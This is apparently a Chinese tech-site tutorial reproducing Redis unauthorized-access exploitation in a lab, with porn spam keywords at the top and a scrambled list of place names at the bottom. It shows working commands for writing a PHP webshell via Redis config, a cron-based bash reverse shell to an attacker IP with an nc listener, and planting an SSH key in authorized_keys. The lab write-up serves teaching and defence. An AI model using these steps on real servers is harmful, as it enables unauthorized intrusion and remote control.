最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

關(guān)于Redis未授權(quán)訪問(wèn)的問(wèn)題

 更新時(shí)間:2021年07月11日 10:09:06   作者:unr4v31  
這篇文章主要介紹了Redis未授權(quán)訪問(wèn)的問(wèn)題,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下

漏洞原理

Redis 默認(rèn)情況下,會(huì)綁定在 0.0.0.0:6379,如果沒(méi)有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來(lái)源 ip 訪問(wèn)等,這樣將會(huì)將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒(méi)有設(shè)置密碼認(rèn)證(一般為空)的情況下,會(huì)導(dǎo)致任意用戶在可以訪問(wèn)目標(biāo)服務(wù)器的情況下未授權(quán)訪問(wèn) Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問(wèn) Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進(jìn)行寫(xiě)文件操作,攻擊者可以成功將自己的ssh公鑰寫(xiě)入目標(biāo)服務(wù)器的 /root/.ssh文件夾的authotrized_keys 文件中,進(jìn)而可以使用對(duì)應(yīng)私鑰直接使用ssh服務(wù)登錄目標(biāo)服務(wù)器。

利用條件

  • redis綁定在 0.0.0.0:6379,且沒(méi)有進(jìn)行添加防火墻規(guī)則避免其他非信任來(lái)源 ip 訪問(wèn)等相關(guān)安全策略,直接暴露在公網(wǎng)
  • 沒(méi)有設(shè)置密碼認(rèn)證(一般為空),可以免密碼遠(yuǎn)程登錄redis服務(wù)

漏洞危害

  • 攻擊者無(wú)需認(rèn)證訪問(wèn)到內(nèi)部數(shù)據(jù),可能導(dǎo)致敏感信息泄露,黑客也可以惡意執(zhí)行flushall來(lái)清空所有數(shù)據(jù)
  • 攻擊者可通過(guò)eval執(zhí)行l(wèi)ua代碼,或通過(guò)數(shù)據(jù)備份功能往磁盤(pán)寫(xiě)入后門(mén)文件
  • 最嚴(yán)重的情況,如果Redis以root身份運(yùn)行,黑客可以給root賬戶寫(xiě)入SSH公鑰文件,直接通過(guò)SSH登錄受害服務(wù)器

漏洞復(fù)現(xiàn)

搭建測(cè)試環(huán)境

受害機(jī)Ubuntu 20.04

  1. 安裝php:sudo apt install php7.4-cli libapache2-mod-php
  2. 安裝apache2:sudo apt install apache2 。并啟動(dòng)apache服務(wù):sudo service apache2 start 。
  3. 安裝redis,環(huán)境需要4.x/5.x以下的redis版本,這里下載3.2版本的,并解壓、編譯:
$ wget http://download.redis.io/releases/redis-3.2.11.tar.gz
$ tar -zxvf redis-3.2.11.tar.gz
$ cd redis-3.2.11
$ make

如果make 時(shí)遇到以下報(bào)錯(cuò),需要安裝gcc,并設(shè)置啟動(dòng)參數(shù):

錯(cuò)誤信息如下:

/bin/sh: cc: command not found

解決辦法,安裝gcc:

sudo apt install gcc

然后設(shè)置make啟動(dòng)參數(shù)后即可運(yùn)行:

make MALLOC=libc

4.編譯完成后,進(jìn)入src目錄下,復(fù)制redis-cliredis-server/usr/bin/目錄下:

$ cd src
$ sudo cp redis-cli redis-server /usr/bin/

5.回到redis-3.2.11目錄中,復(fù)制redis.conf文件到/etc/目錄下:

$ cd ..
$ sudo cp redis.conf /etc/

使用sudo vim /etc/redis.conf 編輯配置文件,將61行的IP注釋起來(lái),表示外網(wǎng)可訪問(wèn),如下:


然后將80行的yes改為no,表示關(guān)閉保護(hù)模式,如下:


然后保存退出。

使用redis-server /etc/redis.conf啟動(dòng)redis服務(wù):

打開(kāi)一個(gè)新的終端,在窗口使用redis-cli 命令,測(cè)試能否正常連接redis:

使用quit退出redis命令行,然后在Ubuntu終端中開(kāi)啟ssh服務(wù),確保后面能使用ssh進(jìn)行連接:

$ sudo service ssh start

攻擊機(jī)Kali 2021.1

只要能連上redis即可,需要有redis-cli 命令,如果沒(méi)有redis,需要進(jìn)行安裝:
bash $ sudo apt install redis-tools

利用redis寫(xiě)入webshell

利用條件

  • 服務(wù)器開(kāi)著web服務(wù)
  • redis有web目錄寫(xiě)權(quán)限,可以往web路徑寫(xiě)入文件

利用過(guò)程

測(cè)試使用Kali連接Ubuntu的redis服務(wù):

$ redis-cli -h 192.168.101.6

如果成功連接上受害機(jī),說(shuō)明受害機(jī)存在redis未授權(quán)訪問(wèn)漏洞。

redis可以寫(xiě)入文件。使用config get dir 命令可以查看寫(xiě)入文件的目錄,并且可以用來(lái)修改寫(xiě)入文件的目錄。如下:


因?yàn)閣eb服務(wù)無(wú)法訪問(wèn)到/home目錄下的內(nèi)容,所以需要修改redis保存文件的路徑,將其修改到網(wǎng)站的根目錄下,也就是 默認(rèn)的 /var/www/html 目錄。因此redis需要具有對(duì)/var/www/html 寫(xiě)入的權(quán)限,使用config set dir /var/www/html 來(lái)修改dir的值:

然后使用redis寫(xiě)入文件:

$ config set dbfilename shell.php
$ set xxx "<?php phpinfo(); ?>"
$ save

然而并不能寫(xiě)入文件,結(jié)果如下:


具體原因是因?yàn)閞edis對(duì)web根目錄沒(méi)有寫(xiě)入權(quán)限,這是一個(gè)比較重要的點(diǎn),也是能否利用未授權(quán)訪問(wèn)來(lái)getshell的因素之一。為了測(cè)試,此時(shí)需要手動(dòng)在受害機(jī)網(wǎng)站根目錄中,新建一個(gè)其他用戶具有可寫(xiě)入權(quán)限的文件夾,然后再將redis保存文件的dir值修改為新建文件夾的路徑:



此時(shí)再次進(jìn)行寫(xiě)入,可以看到已經(jīng)保存成功了:

成功寫(xiě)入文件后可以在受害機(jī)中進(jìn)行查看:

現(xiàn)在在瀏覽器中訪問(wèn)這個(gè)頁(yè)面試試:

從上面的訪問(wèn)結(jié)果可以看出我們寫(xiě)入的php代碼已經(jīng)成功執(zhí)行并返回。再次寫(xiě)入文件,將一句話木馬寫(xiě)入到目錄中:

訪問(wèn)webshell頁(yè)面:

使用蟻劍連接webshell:

利用redis反彈shell

原理:在攻擊機(jī)上開(kāi)啟nc反彈端口監(jiān)聽(tīng),通過(guò)redis未授權(quán)訪問(wèn)漏洞,寫(xiě)入Linux定時(shí)計(jì)劃,反彈shell。

利用條件對(duì)/var/spool/cron文件夾有寫(xiě)入權(quán)限

利用過(guò)程首先在攻擊機(jī)監(jiān)聽(tīng)一個(gè)端口:

$ nc -lvnp 6666

在攻擊機(jī)開(kāi)啟新的命令行窗口,連接受害機(jī)的redis服務(wù),然后執(zhí)行下面的命令:

$ set x "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.101.8/6666 0>&1\n\n\n"
$ config set dir /var/spool/cron/
$ config set dbfilename root
$ save

注意此處的計(jì)劃任務(wù)命令,如果在Ubuntu中,是無(wú)法反彈shell的,原因是因?yàn)閡buntu會(huì)將redis寫(xiě)入的緩存亂碼當(dāng)作命令來(lái)解釋,導(dǎo)致執(zhí)行不成功。而centos不會(huì)對(duì)亂碼進(jìn)行解釋,可以成功執(zhí)行反彈shell的命令。

可以在受害機(jī)查看文件是否保存成功:

但是在ubuntu下無(wú)法反彈shell,這是由于redis向任務(wù)計(jì)劃文件里寫(xiě)內(nèi)容出現(xiàn)亂碼而導(dǎo)致的語(yǔ)法錯(cuò)誤,而亂碼是避免不了的,centos會(huì)忽略亂碼去執(zhí)行格式正確的任務(wù)計(jì)劃,而ubuntu并不會(huì)忽略這些亂碼,所以導(dǎo)致命令執(zhí)行失敗,因?yàn)樽约喝绻皇褂胷edis寫(xiě)任務(wù)計(jì)劃文件,而是正常向/etc/cron.d目錄下寫(xiě)任務(wù)計(jì)劃文件的話,命令是可以正常執(zhí)行的,所以還是亂碼的原因?qū)е旅畈荒苷?zhí)行,而這個(gè)問(wèn)題是不能解決的,因?yàn)槔胷edis未授權(quán)訪問(wèn)寫(xiě)的任務(wù)計(jì)劃文件里都有亂碼,這些代碼來(lái)自redis的緩存數(shù)據(jù)。

利用redis寫(xiě)入ssh公鑰

利用條件受害機(jī)必須有~/.ssh文件夾,無(wú)論是普通用戶還是root用戶,否則無(wú)法在redis中設(shè)置dir的值

直接使用~/.ssh是不行的,需要絕對(duì)路徑。

另一個(gè)條件就是需要知道家目錄的名稱,比如上面的/home/unravel/.ssh,必須知道unravel

利用過(guò)程首先在攻擊機(jī)生成ssh公鑰,用于連接受害機(jī)時(shí)來(lái)使用私鑰驗(yàn)證登陸:

$ ssh-keygen 

將公鑰開(kāi)頭和結(jié)尾添加兩行換行,并存儲(chǔ)為新的文本文件,用于redis在連接時(shí)寫(xiě)入的內(nèi)容。添加兩個(gè)換行的原因是對(duì)redis緩存垃圾數(shù)據(jù)和公鑰的內(nèi)容分隔開(kāi)來(lái),以免ssh連接失敗??梢允褂胋ash命令來(lái)完成這個(gè)操作:

(echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > key.txt

使用攻擊機(jī)連接受害機(jī)時(shí)寫(xiě)入變量x,x存儲(chǔ)攻擊機(jī)的公鑰:

cat key.txt | redis-cli -h 192.168.101.6 -x set x

使用攻擊機(jī)連接受害機(jī)redis,將寫(xiě)入的文件路徑設(shè)置為/home/unravel/.ssh,并設(shè)置保存的文件名稱為authorized_keys

注意authorized_keys名稱是固定的,不能隨便改,否則連接不上ssh
bash $ config set dir /home/unravel/.ssh $ config set dbfilename authorized_keys $ save

然后在受害機(jī)文件中查看一下:

在攻擊機(jī)嘗試使用本地私鑰對(duì)受害機(jī)進(jìn)行連接:

$ ssh unravel@192.168.101.6 -i ~/.ssh/id_rsa

總結(jié)

Redis在實(shí)戰(zhàn)中算是比較常用的端口利用了。除了反彈shell的方法在測(cè)試的時(shí)候沒(méi)有實(shí)現(xiàn)getshell以外,還有一種主從復(fù)制的方式,后面有空補(bǔ)上。
參考鏈接:https://paper.seebug.org/975/

到此這篇關(guān)于Redis未授權(quán)訪問(wèn)的文章就介紹到這了,更多相關(guān)Redis未授權(quán)訪問(wèn)內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • redis啟動(dòng)redis-server.exe閃退問(wèn)題解決

    redis啟動(dòng)redis-server.exe閃退問(wèn)題解決

    本文主要介紹了redis啟動(dòng)redis-server.exe閃退問(wèn)題解決,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2025-02-02
  • Redis集群詳解

    Redis集群詳解

    這篇文章主要介紹了Redis集群詳解,需要的朋友可以參考下
    2020-07-07
  • Redis緩存降級(jí)的四種策略

    Redis緩存降級(jí)的四種策略

    在高并發(fā)系統(tǒng)架構(gòu)中,Redis作為核心緩存組件扮演著至關(guān)重要的角色,它不僅能夠顯著提升系統(tǒng)響應(yīng)速度,還能有效減輕數(shù)據(jù)庫(kù)壓力,然而,當(dāng)Redis服務(wù)出現(xiàn)故障、性能下降或連接超時(shí)時(shí),如果沒(méi)有適當(dāng)?shù)慕导?jí)機(jī)制,可能導(dǎo)致系統(tǒng)雪崩,所以本文給大家介紹了Redis緩存降級(jí)的四種策略
    2025-04-04
  • Redisson分布式限流的實(shí)現(xiàn)原理分析

    Redisson分布式限流的實(shí)現(xiàn)原理分析

    這篇文章主要介紹了Redisson分布式限流的實(shí)現(xiàn)原理分析,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-07-07
  • k8s部署redis集群實(shí)現(xiàn)過(guò)程實(shí)例詳解

    k8s部署redis集群實(shí)現(xiàn)過(guò)程實(shí)例詳解

    這篇文章主要為大家介紹了k8s部署redis集群實(shí)現(xiàn)過(guò)程實(shí)例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-02-02
  • 淺談Redis在分布式系統(tǒng)中的協(xié)調(diào)性運(yùn)用

    淺談Redis在分布式系統(tǒng)中的協(xié)調(diào)性運(yùn)用

    這篇文章主要介紹了Redis在分布式系統(tǒng)中的協(xié)調(diào)性運(yùn)用,講解了Redis在進(jìn)程和線程的調(diào)度上以及消息隊(duì)列中的作用,需要的朋友可以參考下
    2016-03-03
  • 詳解Redis緩存與Mysql如何保證雙寫(xiě)一致

    詳解Redis緩存與Mysql如何保證雙寫(xiě)一致

    緩存和數(shù)據(jù)庫(kù)如何保證數(shù)據(jù)的一致是個(gè)很經(jīng)典的問(wèn)題,這篇文章就來(lái)和大家一起探討一下Redis緩存與Mysql如何保證雙寫(xiě)一致,感興趣的小伙伴可以參考下
    2023-12-12
  • Redis高并發(fā)防止秒殺超賣實(shí)戰(zhàn)源碼解決方案

    Redis高并發(fā)防止秒殺超賣實(shí)戰(zhàn)源碼解決方案

    本文主要介紹了Redis高并發(fā)防止秒殺超賣實(shí)戰(zhàn)源碼解決方案,文中通過(guò)示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2021-10-10
  • Redis實(shí)現(xiàn)用戶簽到的示例代碼

    Redis實(shí)現(xiàn)用戶簽到的示例代碼

    Redis的位圖可以高效實(shí)現(xiàn)用戶簽到功能,每個(gè)bit位對(duì)應(yīng)一個(gè)簽到狀態(tài),節(jié)省存儲(chǔ)空間,利用SETBIT、GETBIT等命令操作簽到數(shù)據(jù),可統(tǒng)計(jì)連續(xù)簽到天數(shù)和本月簽到情況,感興趣的可以了解一下
    2024-09-09
  • Redis中Bloom filter布隆過(guò)濾器的學(xué)習(xí)

    Redis中Bloom filter布隆過(guò)濾器的學(xué)習(xí)

    布隆過(guò)濾器是一個(gè)非常長(zhǎng)的二進(jìn)制向量和一系列隨機(jī)哈希函數(shù)的組合,可用于檢索一個(gè)元素是否存在,本文就詳細(xì)的介紹一下Bloom filter布隆過(guò)濾器,具有一定的參考價(jià)值,感興趣的可以了解一下
    2022-12-12

最新評(píng)論

保靖县| 郯城县| 浠水县| 藁城市| 永济市| 玛沁县| 邓州市| 库车县| 本溪市| 本溪市| 阜城县| 榆树市| 乐安县| 通江县| 呼伦贝尔市| 黄梅县| 百色市| 澄迈县| 措美县| 冕宁县| 邹城市| 嘉黎县| 黎平县| 冕宁县| 平安县| 思茅市| 咸阳市| 巴彦淖尔市| 阳朔县| 吉林省| 临清市| 荔波县| 桐城市| 华坪县| 靖边县| 彰武县| 万年县| 安图县| 丰城市| 吉林省| 沙湾县|